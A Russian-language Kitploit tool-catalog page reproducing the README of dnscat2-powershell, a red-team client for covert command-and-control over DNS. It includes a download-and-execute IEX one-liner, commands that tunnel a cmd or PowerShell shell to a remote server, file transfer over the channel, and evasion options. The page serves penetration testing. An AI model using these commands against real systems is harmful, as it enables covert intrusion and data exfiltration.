Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dnscat2-powershell — Клиент PowerShell для dnscat2, зашифрованного инструмента управления и контроля через DNS. | Kitploit
Инструменты/GitHubGitHub/lukebaggett/dnscat2-powershell
Инструменты шифрования/дешифрованияПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingАнализ DNSArchived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

Клиент PowerShell для dnscat2, зашифрованного инструмента управления и контроля через DNS.

Репозиторий
43512383 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

dnscat2 — это инструмент для скрытого канала DNS от @iagox86 (Ron Bowes), используемый для передачи данных через DNS-запросы.

Это версия PowerShell C-клиента dnscat2.

Нажмите здесь для статьи в блоге, в которой дается более подробное описание цели этого сценария и способов его использования.

Для использования этого сценария вам понадобится Ruby сервер dnscat2. Обязательно добавьте опцию --no-cache при запуске сервера. Этот клиент несовместим с кэшированием сервера.

Setup

Сначала установите сервер dnscat2. Запустите сервер с отключенным кэшированием, используя --no-cache. Команда для запуска сервера должна выглядеть примерно так: ruby dnscat2.rb --dns="domain=example.com" --no-cache

Затем запустите Windows PowerShell (версия 2.0 или выше). Вы можете использовать эту команду для загрузки функций PowerShell dnscat2:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

Examples

Start-Dnscat2 — это основная функция, используемая в качестве клиента. Укажите сервер dnscat2 с помощью -Domain.

root@kitploit:~
Запустить командную сессию и отправлять DNS-запросы на 8.8.8.8 порт 53:
    Start-Dnscat2 -Domain <сервер dnscat2> -DNSServer 8.8.8.8

Запустить оболочку cmd и отправлять DNS-запросы на DNS-сервер по умолчанию, установленный в Windows:
    Start-Dnscat2 -Domain <сервер dnscat2> -Exec cmd

Запустить консольную сессию. Использовать только запросы CNAME, MX и AAAA:
    Start-Dnscat2 -Domain <сервер dnscat2> -LookupTypes @("CNAME","MX","AAAA") -Console

Не шифровать сессию. Шифрование включено по умолчанию.
    Start-Dnscat2 -Domain <сервер dnscat2> -NoEncryption

Powershell Command Session Commands

Клиент может обрабатывать обычные команды dnscat2 или версию PowerShell этой команды. Чтобы использовать версию PowerShell команды, задайте определенные параметры, которые клиент обнаружит (это команды, выполняемые из командной сессии на сервере):

root@kitploit:~
Запустить новую сессию, которая симулирует оболочку PowerShell, как ExecPS:
    exec psh

Загрузить app.exe на сервер в виде шестнадцатеричной строки, хранящейся в переменной PowerShell $app:
    upload app.exe hex:$app

Скачать массив байтов, хранящийся в переменной PowerShell $app, в файл app.exe на сервере:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <String>          Домен, используемый сервером dnscat2.
-DNSServer <String>       Имя хоста или IP-адрес для отправки DNS-запросов. (По умолчанию: установлено Windows)
-DNSPort <Int32>          Порт для отправки DNS-запросов. (По умолчанию: 53)

-Command                  Запустить командную сессию. (По умолчанию)
-Exec <String>            Связать ввод/вывод процесса с сессией Dnscat2.
-Console                  Связать ввод/вывод консоли с сессией Dnscat2.
-ExecPS                   Симулировать сессию PowerShell и связать ввод/вывод с сессией Dnscat2.
                          ПРЕДУПРЕЖДЕНИЕ: Выход приведет к завершению всего клиента dnscat2, а не только сессии.

-PreSharedSecret          Установить тот же секрет на сервере для аутентификации и предотвращения MITM.
-NoEncryption             Не использовать шифрование.

-LookupTypes <String[]>   Установить массив типов запросов для случайного переключения.
                          Поддерживаются только записи TXT, MX, CNAME, A и AAAA. По умолчанию: @(TXT, MX, CNAME)
-Delay <Int32>            Установить задержку между запросами в миллисекундах. (По умолчанию: 0)
-MaxRandomDelay <Int32>   Установить максимальное значение случайной задержки, добавляемой к обычной задержке, в миллисекундах. (По умолчанию: 0)
-MaxPacketSize <Int32>    Максимальная длина пакета dnscat2. (По умолчанию: 240)
-Name <String>            Имя вашей сессии dnscat2. (По умолчанию: имя хоста)

ExecPS and 'exec psh'

dnscat2-powershell симулирует сессию PowerShell, передавая данные с сервера в Invoke-Expression. Возвращается только stdout, а переменные сохраняются, пока клиент работает. Остерегайтесь команд, завершающих PowerShell, таких как "exit" и "break", потому что весь клиент dnscat2-powershell завершится, а не только сессия ExecPS.

Other Credits

  • db9 на stackoverflow демонстрация BouncyCastle ECDH.
  • Реализация FrankSpierings Salsa20 и Sha3 в PowerShell через C#.
  • Урезанная версия библиотеки BouncyCastle DLL для ECC от Rebex Labs.
Скачать инструмент